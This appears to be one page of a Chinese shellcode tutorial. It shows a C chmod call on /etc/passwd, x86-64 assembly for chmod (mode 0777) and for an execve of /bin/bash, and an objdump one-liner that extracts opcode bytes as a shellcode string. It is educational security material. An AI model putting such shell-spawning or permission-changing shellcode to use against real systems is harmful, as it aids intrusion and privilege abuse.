shellcode执行方式,shell脚本的执行方法

首页 > 经验 > 作者:YD1662022-11-07 08:13:07

在分析open函数时有讨论mode的取值,这里就不再分析
有时在shellcode中需要修改程序的权限

#include <sys/types.h> #include <sys/stat.h> main() { chmod("/etc/passwd", S_IRUSR|S_IWUSR|S_IRGRP|S_IROTH); }

section .data CHMOD equ 90 EXIT equ 60 FILENAME db "xxx", 0x00 section .text global _start _start: mov rax, CHMOD mov rdi, FILENAME mov rsi, 511 syscall mov rax, EXIT mov rdi, 0 syscall 0x6 命令执行

system函数中的命令执行用的是syscall execve系统调用。其参数格式如下

shellcode执行方式,shell脚本的执行方法(13)

调试system函数内部的参数调用可以看出rax是系统调用号,rdi是filename,rsi是字符串数组

shellcode执行方式,shell脚本的执行方法(14)

字符串数组内存布局如下

shellcode执行方式,shell脚本的执行方法(15)

section .data EXECVE equ 59 FILENAME db "/bin/bash", 0x00 section .text global _start _start: mov rax, EXECVE mov rdi, FILENAME mov rsi, 0 mov rdx, 0 syscall mov rax, EXIT mov rdi, 0 syscall 0x7 shellcode 提取技巧

这里参照 https://www.commandlinefu.com/commands/view/6051/get-all-shellcode-on-binary-file-from-objdump

objdump -d ./test|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' ' | tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

shellcode执行方式,shell脚本的执行方法(16)

上一页12345下一页

栏目热文

文档排行

本站推荐

Copyright © 2018 - 2021 www.yd166.com., All Rights Reserved.